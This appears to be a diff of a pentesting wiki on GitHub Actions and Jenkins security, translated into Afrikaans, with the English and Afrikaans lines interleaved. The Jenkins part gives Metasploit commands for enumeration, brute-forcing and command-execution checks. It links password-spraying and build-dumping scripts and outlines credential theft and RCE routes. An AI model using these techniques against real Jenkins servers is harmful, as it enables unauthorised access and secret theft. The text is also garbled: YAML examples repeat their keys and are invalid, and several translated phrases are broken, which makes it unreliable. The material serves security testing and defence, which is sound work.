- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
- 'n GitHub App moet **aksies onafhanklik van 'n gebruiker neem** (tensy die app 'n [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token gebruik). Om user-to-server access tokens veiliger te hou, kan jy access tokens gebruik wat na 8 uur verval, en 'n refresh token wat ingeruil kan word vir 'n nuwe access token. Vir meer inligting, sien "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Maak seker die GitHub App integreer met **spesifieke repositories**.
|
||||
- Die GitHub App moet **connect to a personal account or an organisation**.
|
||||
- Moet nie verwag dat die GitHub App alles weet en kan doen wat 'n gebruiker kan nie.
|
||||
- **Moenie 'n GitHub App gebruik as jy net 'n "Login with GitHub" diens nodig het nie**. Maar 'n GitHub App kan 'n [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) gebruik om gebruikers aan te meld _en_ ander dinge te doen.
|
||||
- Moet nie 'n GitHub App bou as jy _slegs_ wil optree as 'n GitHub user en alles wil doen wat daardie gebruiker kan doen nie.
|
||||
- As jy jou app met GitHub Actions gebruik en workflow-lêers wil wysig, moet jy verifieer namens die gebruiker met 'n OAuth token wat die `workflow` scope insluit. Die gebruiker moet admin of write-permissie op die repository hê wat die workflow-lêer bevat. Vir meer inligting, sien "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Meer** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information.
|
||||
Dit **is nie 'n manier om in github te autentikeer nie**, maar 'n **malicious** Github Action kan **unauthorised access to github** kry en, **afhangend** van die **privileges** wat aan die Action gegee is, verskeie **verskillende aanvalle** uitvoer. Sien hieronder vir meer inligting.
|
||||
|
||||
## Git Actions
|
||||
|
||||
Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets).
|
||||
Git actions laat toe om die **uitvoering van kode te outomatiseer wanneer 'n gebeurtenis plaasvind**. Gewoonlik is die uitgevoerde kode **op een of ander manier verwant aan die kode van die repository** (byvoorbeeld om 'n docker container te bou of te kontroleer dat die PR geen geheime bevat nie).
|
||||
|
||||
### Configuration
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ it's possible to check the **configuration of the github actions** for the organization.
|
||||
In _https://github.com/organizations/\<org_name>/settings/actions_ is dit moontlik om die **konfigurasie van die github actions** vir die organization te kontroleer.
|
||||
|
||||
It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions.
|
||||
Dit is moontlik om die gebruik van github actions heeltemal te verbied, **alle github actions toe te laat**, of net sekere actions toe te laat.
|
||||
|
||||
It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run.
|
||||
Dit is ook moontlik om te konfigureer **wie goedkeuring nodig het om 'n Github Action te hardloop** en die **toestemmings van die GITHUB_TOKEN** van 'n Github Action wanneer dit uitgevoer word.
|
||||
|
||||
### Git Secrets
|
||||
|
||||
Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**.
|
||||
|
||||
These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like:
|
||||
Github Action benodig gewoonlik sekere geheime om met github of derdeparty-toepassings te kommunikeer. Om te **voorkom dat hulle in plain-text in die repo gesit word**, laat github toe om hulle as **Secrets** te plaas.
|
||||
|
||||
Hierdie secrets kan gekonfigureer word **vir die repo of vir die hele organization**. Dan, sodat die **Action toegang tot die secret kan hê**, moet jy dit verklaar soos:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
- name: Hello world action
|
||||
with: # Set the secret as an input
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
env: # Or as an environment variable
|
||||
super_secret:${{ secrets.SuperSecret }}
|
||||
```
|
||||
|
||||
#### Example using Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
|
||||
#### Voorbeeld met Bash <a href="#example-using-bash" id="example-using-bash"></a>
|
||||
```yaml
|
||||
steps:
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
- shell: bash
|
||||
env: SUPER_SECRET:${{ secrets.SuperSecret }}
|
||||
run: |
|
||||
example-command "$SUPER_SECRET"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Secrets **can only be accessed from the Github Actions** that have them declared.
|
||||
> Secrets **kan slegs deur die Github Actions** wat hulle gedeclareer het, benader word.
|
||||
|
||||
> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**.
|
||||
> Sodra dit in die repo of die organizations gekonfigureer is **sal users of github hulle nie weer kan benader nie**, hulle sal net in staat wees om hulle te **verander**.
|
||||
|
||||
Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action).
|
||||
Daarom is die **enigste manier om github secrets te steel om toegang tot die masjien te kry wat die Github Action uitvoer** (in daardie scenario sal jy slegs toegang hê tot die secrets wat vir die Action gedeclareer is).
|
||||
|
||||
### Git Environments
|
||||
|
||||
Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like:
|
||||
|
||||
Github laat toe om **environments** te skep waar jy **secrets** kan stoor. Dan kan jy die github action toegang gee tot die secrets binne die environment met iets soos:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
deployment:
|
||||
runs-on: ubuntu-latest
|
||||
environment: env_name
|
||||
```
|
||||
|
||||
You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
|
||||
Additionally, environment protections include:
|
||||
- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
|
||||
- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
|
||||
- **Wait timer**: delay deployments for a configurable period.
|
||||
Daarnaast sluit environment protections in:
|
||||
- **Required reviewers**: hou jobs wat op die environment gemik is terug totdat dit goedgekeur is. Skakel **Prevent self-review** aan om 'n behoorlike vier‑oog‑beginsel op die goedkeuring self af te dwing.
|
||||
- **Deployment branches and tags**: beperk watter branches/tags na die environment kan deploy. Kies by voorkeur spesifieke branches/tags en maak seker daardie takke is beskerm. Let wel: die "Protected branches only" option geld vir klassieke branch-beskermings en mag nie soos verwag werk as jy rulesets gebruik nie.
|
||||
- **Wait timer**: vertraag deployments vir 'n konfigureerbare tydperk.
|
||||
|
||||
It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
|
||||
Dit kan ook 'n **number of required reviews** stel voordat 'n **action** wat 'n **environment** gebruik **executing** word, of 'n **time** wag voordat deployments voortgaan.
|
||||
### Git Action Runner
|
||||
|
||||
A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
|
||||
A Github Action kan **executed inside the github environment** word of in 'n **third party infrastructure** uitgevoer word wat deur die gebruiker gekonfigureer is.
|
||||
|
||||
Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
|
||||
Verskeie organisasies sal toelaat dat Github Actions in 'n **third party infrastructure** loop omdat dit gewoonlik **goedkoper** is.
|
||||
|
||||
You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
Jy kan **list the self-hosted runners** van 'n organisasie vind by _https://github.com/organizations/\<org_name>/settings/actions/runners_
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
|
||||
Die manier om te vind watter **Github Actions are being executed in non-github infrastructure** is om te soek na `runs-on: self-hosted` in die Github Action konfigurasie-yaml.
|
||||
|
||||
It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
|
||||
Dit is **not possible to run a Github Action of an organization inside a self hosted box** van 'n ander organisasie omdat **a unique token is generated for the Runner** wanneer dit gekonfigureer word sodat dit weet waar die runner behoort.
|
||||
|
||||
If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
|
||||
As die custom **Github Runner is configured in a machine inside AWS or GCP** byvoorbeeld, kan die Action toegang hê tot die metadata endpoint en die token van die service account steel waarmee die masjien loop.
|
||||
|
||||
### Git Action Compromise
|
||||
|
||||
If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
|
||||
As alle actions (of 'n kwaadwillige action) toegelaat word, kan 'n gebruiker 'n **Github action** gebruik wat **malicious** is en die **container** waar dit uitgevoer word **compromise**.
|
||||
|
||||
> [!CAUTION]
|
||||
> A **malicious Github Action** run could be **abused** by the attacker to:
|
||||
> 'n **malicious Github Action** run kan deur die aanvaller misbruik word om:
|
||||
>
|
||||
> - **Steal all the secrets** the Action has access to
|
||||
> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
|
||||
> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
|
||||
> - **Steel al die geheime** waarna die Action toegang het
|
||||
> - **Beweeg lateraal** as die Action binne 'n **third party infrastructure** uitgevoer word waar die SA-token wat gebruik word om die masjien te laat loop, verkrygbaar is (waarskynlik via die metadata service)
|
||||
> - **Misbruik die token** wat deur die **workflow** gebruik word om **die kode van die repo te steel** waar die Action uitgevoer word of dit **selfs te verander**.
|
||||
|
||||
## Branch Protections
|
||||
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
Branch protections is ontwerp om nie gebruikers die volledige beheer oor 'n repository te gee nie. Die doel is om verskeie beskermingsmetodes in plek te hê voordat iemand in staat is om kode in 'n tak te skryf.
|
||||
|
||||
The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
Die **branch protections of a repository** kan gevind word by _https://github.com/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
> Dit is **not possible to set a branch protection at organization level**. Dus moet al hierdie reëls op elke repo afsonderlik gedeclareer word.
|
||||
|
||||
Different protections can be applied to a branch (like to master):
|
||||
Verskeie beskermings kan op 'n tak toegepas word (soos op master):
|
||||
|
||||
- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
|
||||
- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
|
||||
- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
|
||||
- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
|
||||
- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
|
||||
- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
|
||||
- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
|
||||
- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
|
||||
- **Require signed commits**. The commits need to be signed.
|
||||
- **Require linear history.** Prevent merge commits from being pushed to matching branches.
|
||||
- **Include administrators**. If this isn't set, admins can bypass the restrictions.
|
||||
- **Restrict who can push to matching branches**. Restrict who can send a PR.
|
||||
- Jy kan **require a PR before merging** (sodat jy nie direk kode oor die tak kan merge nie). As dit gekies is, kan verskeie ander beskerminge in plek wees:
|
||||
- **Require a number of approvals**. Dit is baie algemeen om 1 of 2 ekstra mense te vereis om jou PR goed te keur sodat 'n enkele gebruiker nie in staat is om kode direk te merge nie.
|
||||
- **Dismiss approvals when new commits are pushed**. Indien nie, kan 'n gebruiker legit kode goedkeur en dan kwaadwillige kode byvoeg en dit merge.
|
||||
- **Require approval of the most recent reviewable push**. Verseker dat enige nuwe commits na 'n goedkeuring (insluitend pushes deur ander medewerkers) hernude hersiening veroorsaak sodat 'n aanvaller nie post-goedkeuring veranderinge kan push en merge nie.
|
||||
- **Require reviews from Code Owners**. Ten minste 1 code owner van die repo moet die PR goedkeur (sodat "lukrake" gebruikers dit nie kan goedkeur nie).
|
||||
- **Restrict who can dismiss pull request reviews.** Jy kan mense of spanne spesifiseer wat pull request reviews mag dismiss.
|
||||
- **Allow specified actors to bypass pull request requirements**. Hierdie gebruikers sal in staat wees om vorige beperkings te omseil.
|
||||
- **Require status checks to pass before merging.** Sekere kontroles moet slaag voordat die commit gemerg kan word (soos 'n GitHub App wat SAST-resultate rapporteer). Wen: bind vereiste kontroles aan 'n spesifieke GitHub App; anders kan enige app die kontrolle via die Checks API spoofs, en baie bots aanvaar skip-direktiewe (bv., "@bot-name skip").
|
||||
- **Require conversation resolution before merging**. Alle kommentaar op die kode moet opgelos wees voordat die PR gemerg kan word.
|
||||
- **Require signed commits**. Die commits moet onderteken wees.
|
||||
- **Require linear history.** Voorkom merge commits om naicktakke gepush te word.
|
||||
- **Include administrators**. As dit nie gestel is nie, kan admins die beperkings omseil.
|
||||
- **Restrict who can push to matching branches**. Beperk wie 'n PR kan stuur.
|
||||
|
||||
> [!NOTE]
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
> Soos jy kan sien, selfs al kry jy sommige credentials van 'n gebruiker, **repos mag beskerm wees wat jou verhinder om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer.
|
||||
|
||||
## Tag Protections
|
||||
|
||||
Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
|
||||
Tags (soos latest, stable) is standaard veranderlik. Om 'n vier‑oog‑vloei op tag-opdaterings af te dwing, beskerm tags en koppel beskermings deur environments en branches:
|
||||
|
||||
1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
|
||||
2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
|
||||
3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
|
||||
1) In die tag protection rule, skakel **Require deployments to succeed** aan en vereis 'n suksesvolle deployment na 'n beskermde environment (bv., prod).
|
||||
2) In die beoogde environment, beperk **Deployment branches and tags** tot die release branch (bv., main) en konfigureer opsioneel **Required reviewers** met **Prevent self-review**.
|
||||
3) Op die release branch, konfigureer branch protections om **Require a pull request** te vereis, stel approvals ≥ 1, en skakel beide **Dismiss approvals when new commits are pushed** en **Require approval of the most recent reviewable push** aan.
|
||||
|
||||
This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
|
||||
Hierdie ketting verhoed dat 'n enkele medewerker tags kan heretiketteer of force-publish releases deur workflow YAML te wysig, aangesien deployment gates buite workflows afgedwing word.
|
||||
|
||||
## References
|
||||
|
||||
@@ -273,5 +267,3 @@ This chain prevents a single collaborator from retagging or force-publishing rel
|
||||
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
@@ -1,312 +1,292 @@
|
||||
# Jenkins Security
|
||||
# Jenkins Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Basiese Inligting
|
||||
|
||||
Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
|
||||
Jenkins is 'n hulpmiddel wat 'n eenvoudige metode bied om 'n **deurlopende integrasie** of **deurlopende aflewering** (CI/CD) omgewing vir byna **enige** kombinasie van **programmering tale** en bronkode repositories te vestig met behulp van pipelines. Verder outomatiseer dit verskeie roetine ontwikkelings take. Terwyl Jenkins nie die **noodsaaklikheid om skripte vir individuele stappe te skep** verwyder nie, bied dit 'n vinniger en meer robuuste manier om die hele reeks van bou, toets, en ontplooiing gereedskap te integreer as wat 'n mens maklik handmatig kan saamstel.
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Unauthenticated Enumeration
|
||||
|
||||
In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
|
||||
## Onauthentieke Enumerasie
|
||||
|
||||
Om te soek na interessante Jenkins bladsye sonder outentisering soos (_/people_ of _/asynchPeople_, dit lys die huidige gebruikers) kan jy gebruik maak van:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_enum
|
||||
```
|
||||
|
||||
Check if you can execute commands without needing authentication:
|
||||
|
||||
Kontroleer of jy opdragte kan uitvoer sonder om verifikasie te benodig:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
sonder geloofsbriewe kan jy binne die _**/asynchPeople/**_ pad of _**/securityRealm/user/admin/search/index?q=**_ kyk vir **gebruikersname**.
|
||||
|
||||
Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
|
||||
|
||||
You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
|
||||
Jy mag dalk die Jenkins weergawe van die pad _**/oops**_ of _**/error**_ kan kry.
|
||||
|
||||
.png>)
|
||||
|
||||
### Known Vulnerabilities
|
||||
### Bekende Kw vulnerabilities
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/gquere/pwn_jenkins
|
||||
{{#endref}}
|
||||
|
||||
## Login
|
||||
## Teken in
|
||||
|
||||
In the basic information you can check **all the ways to login inside Jenkins**:
|
||||
In die basiese inligting kan jy **alle maniere om in Jenkins in te teken** nagaan:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Register
|
||||
### Registreer
|
||||
|
||||
You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
|
||||
Jy sal in staat wees om Jenkins instansies te vind wat **jou toelaat om 'n rekening te skep en daarin in te teken. So eenvoudig soos dit.**
|
||||
|
||||
### **SSO Login**
|
||||
### **SSO Teken in**
|
||||
|
||||
Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
As **SSO** **funksionaliteit**/**plugins** teenwoordig was, moet jy probeer om in die toepassing in te teken met 'n toetsrekening (d.w.s., 'n toets **Github/Bitbucket rekening**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
|
||||
|
||||
**Jenkins** het **wagwoordbeleid** en **gebruikersnaam bruteforce mitigering** ontbreek. Dit is noodsaaklik om **bruteforce** gebruikers, aangesien **swak wagwoorde** of **gebruikersname as wagwoorde** dalk in gebruik is, selfs **omgekeerde gebruikersname as wagwoorde**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
### Wachtwoord spuit
|
||||
|
||||
### Password spraying
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
Gebruik [hierdie python-skrip](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) of [hierdie powershell-skrip](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
|
||||
Baie organisasies kombineer **SaaS-gebaseerde bronbeheer (SCM) stelsels** soos GitHub of GitLab met 'n **interne, self-gehoste CI** oplossing soos Jenkins of TeamCity. Hierdie opstelling laat CI-stelsels toe om **webhook-gebeurtenisse van SaaS-bronbeheer verskaffers** te ontvang, hoofsaaklik om pyplynwerk te aktiveer.
|
||||
|
||||
To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
|
||||
Om dit te bereik, **whitelist** organisasies die **IP-reekse** van die **SCM-platforms**, wat hulle toelaat om toegang te verkry tot die **interne CI-stelsel** via **webhooks**. Dit is egter belangrik om te noem dat **enige iemand** 'n **rekening** op GitHub of GitLab kan skep en dit kan konfigureer om 'n **webhook** te aktiveer, wat moontlik versoeke na die **interne CI-stelsel** kan stuur.
|
||||
|
||||
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
Kontroleer: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Internal Jenkins Abuses
|
||||
## Interne Jenkins Misbruik
|
||||
|
||||
In these scenarios we are going to suppose you have a valid account to access Jenkins.
|
||||
In hierdie scenario's gaan ons aanvaar dat jy 'n geldige rekening het om toegang tot Jenkins te verkry.
|
||||
|
||||
> [!WARNING]
|
||||
> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
|
||||
> Afhangende van die **Magtigings** meganisme wat in Jenkins geconfigureer is en die toestemming van die gecompromitteerde gebruiker, **kan jy dalk in staat wees of nie om die volgende aanvalle uit te voer.**
|
||||
|
||||
For more information check the basic information:
|
||||
Vir meer inligting, kyk na die basiese inligting:
|
||||
|
||||
{{#ref}}
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Listing users
|
||||
### Lys gebruikers
|
||||
|
||||
If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
As jy toegang tot Jenkins verkry het, kan jy ander geregistreerde gebruikers lys in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
|
||||
### Dumping builds om duidelike teks geheime te vind
|
||||
|
||||
Gebruik [hierdie skrip](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) om bou-konsoluitsette en bou-omgewing veranderlikes te dump om hopelik duidelike teks geheime te vind.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
gitleaks detect --no-git -v
|
||||
```
|
||||
### **Diefstal van SSH Kredensiale**
|
||||
|
||||
### **Stealing SSH Credentials**
|
||||
|
||||
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
|
||||
As die gecompromitteerde gebruiker **genoeg bevoegdhede het om 'n nuwe Jenkins node te skep/wysig** en SSH kredensiale reeds gestoor is om toegang tot ander nodes te verkry, kan hy **daardie kredensiale steel** deur 'n node te skep/wysig en **'n gasheer in te stel wat die kredensiale sal opneem** sonder om die gasheer sleutel te verifieer:
|
||||
|
||||
.png>)
|
||||
|
||||
You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](#dumping-secrets).
|
||||
Jy sal gewoonlik Jenkins ssh kredensiale in 'n **globale verskaffer** (`/credentials/`) vind, so jy kan dit ook dump soos jy enige ander geheim sou dump. Meer inligting in die [**Dumping secrets section**](./#dumping-secrets).
|
||||
|
||||
### **RCE in Jenkins**
|
||||
|
||||
Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
|
||||
Om 'n **shell in die Jenkins bediener** te kry, gee die aanvaller die geleentheid om al die **geheime** en **omgewing veranderlikes** te lek en om **ander masjiene** in dieselfde netwerk te **ontgin** of selfs **cloud kredensiale** te **versamel**.
|
||||
|
||||
By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
|
||||
Standaard sal Jenkins **as SYSTEM loop**. Dus, om dit te kompromitteer sal die aanvaller **SYSTEM bevoegdhede** gee.
|
||||
|
||||
### **RCE Creating/Modifying a project**
|
||||
### **RCE Skep/Wysig 'n projek**
|
||||
|
||||
Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
|
||||
Om 'n projek te skep/wysig is 'n manier om RCE oor die Jenkins bediener te verkry:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-project.md
|
||||
{{#endref}}
|
||||
|
||||
### **RCE Execute Groovy script**
|
||||
### **RCE Voer Groovy skrip uit**
|
||||
|
||||
You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
|
||||
Jy kan ook RCE verkry deur 'n Groovy skrip uit te voer, wat dalk minder opmerklik is as om 'n nuwe projek te skep:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-with-groovy-script.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE Creating/Modifying Pipeline
|
||||
### RCE Skep/Wysig Pyplyn
|
||||
|
||||
You can also get **RCE by creating/modifying a pipeline**:
|
||||
Jy kan ook **RCE verkry deur 'n pyplyn te skep/wysig**:
|
||||
|
||||
{{#ref}}
|
||||
jenkins-rce-creating-modifying-pipeline.md
|
||||
{{#endref}}
|
||||
|
||||
## Pipeline Exploitation
|
||||
## Pyplyn Exploitatie
|
||||
|
||||
To exploit pipelines you still need to have access to Jenkins.
|
||||
Om pyplyne te ontgin, moet jy steeds toegang tot Jenkins hê.
|
||||
|
||||
### Build Pipelines
|
||||
### Bou Pyplyne
|
||||
|
||||
**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
|
||||
**Pyplyne** kan ook as **boumeganisme in projekte** gebruik word, in daardie geval kan dit geconfigureer word met 'n **lêer binne die repository** wat die pyplyn sintaksis sal bevat. Standaard word `/Jenkinsfile` gebruik:
|
||||
|
||||
.png>)
|
||||
|
||||
It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
|
||||
Dit is ook moontlik om **pyplyn konfigurasielêers in ander plekke** te stoor (in ander repositories byvoorbeeld) met die doel om **toegang** tot die repository en die pyplyn toegang te **skei**.
|
||||
|
||||
If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
|
||||
It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
|
||||
As 'n aanvaller **skrywe toegang oor daardie lêer het**, sal hy in staat wees om dit te **wysig** en **potensieel die pyplyn te aktiveer** sonder om toegang tot Jenkins te hê.\
|
||||
Dit is moontlik dat die aanvaller sal moet **omseil sommige tak beskermings** (afhangende van die platform en die gebruiker bevoegdhede kan dit omseil of nie).
|
||||
|
||||
The most common triggers to execute a custom pipeline are:
|
||||
